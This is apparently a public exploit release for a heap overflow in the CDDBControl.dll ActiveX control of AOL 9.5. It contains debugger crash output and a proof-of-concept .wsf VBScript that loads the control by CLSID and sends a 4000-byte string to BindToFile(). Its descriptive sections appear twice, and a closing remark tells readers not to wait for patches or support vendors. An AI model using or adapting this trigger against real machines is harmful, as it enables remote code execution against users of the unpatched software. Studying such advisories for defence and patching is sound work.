AOL 9.5 ActiveX Heap Overflow Vulnerability

Product:
AOL 9.5
 
Vulnerability:
ActiveX Heap Overflow
 
Discussion:
Vulnerability is in Activex Control ("CDDBControl.dll")
Sending a long string to BindToFile() , triggering the vulnerability.
Successful exploits allow remote attackers to execute arbitrary code.
 
Debugger Results:
(fd0.1274): Access violation - code c0000005 (!!! second chance !!!)
eax=7efefefe ebx=00000000 ecx=0020d7c0 edx=41414141
esi=03465df0 edi=02b82000 eip=10033011 esp=0020cdac
ebp=0020ed20 iopl=0 nv up ei pl zr na pe nc
 
Product:

AOL 9.5

Vulnerability:

ActiveX - Heap Overflow

Discussion:

Vulnerability is in Activex Control ("CDDBControl.dll") 
Sending a string to BindToFile() , triggering the vulnerability.
Successful exploitation allow remote attackers to execute arbitrary code.

Credits:

Celil 'karak0rsan' Unuver and murderkey
from Hellcode Research

tcc.hellcode.net
forum.hellcode.net


L4stW0rdZ: "hi francis, do you think we forget you ??? ofcourse not, dont wait patch, dont support vendors
and security industry ...." - mkey

---------------
PoC .wsf script:

<package><job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:BC8A96C6-3909-11D5-9001-00C04F4C3B9F' id='target' />

<script language='vbscript'>


arg1=String(4000, "A")
arg2=1

target.BindToFile arg1 ,arg2 

</script>
</job>
</package>

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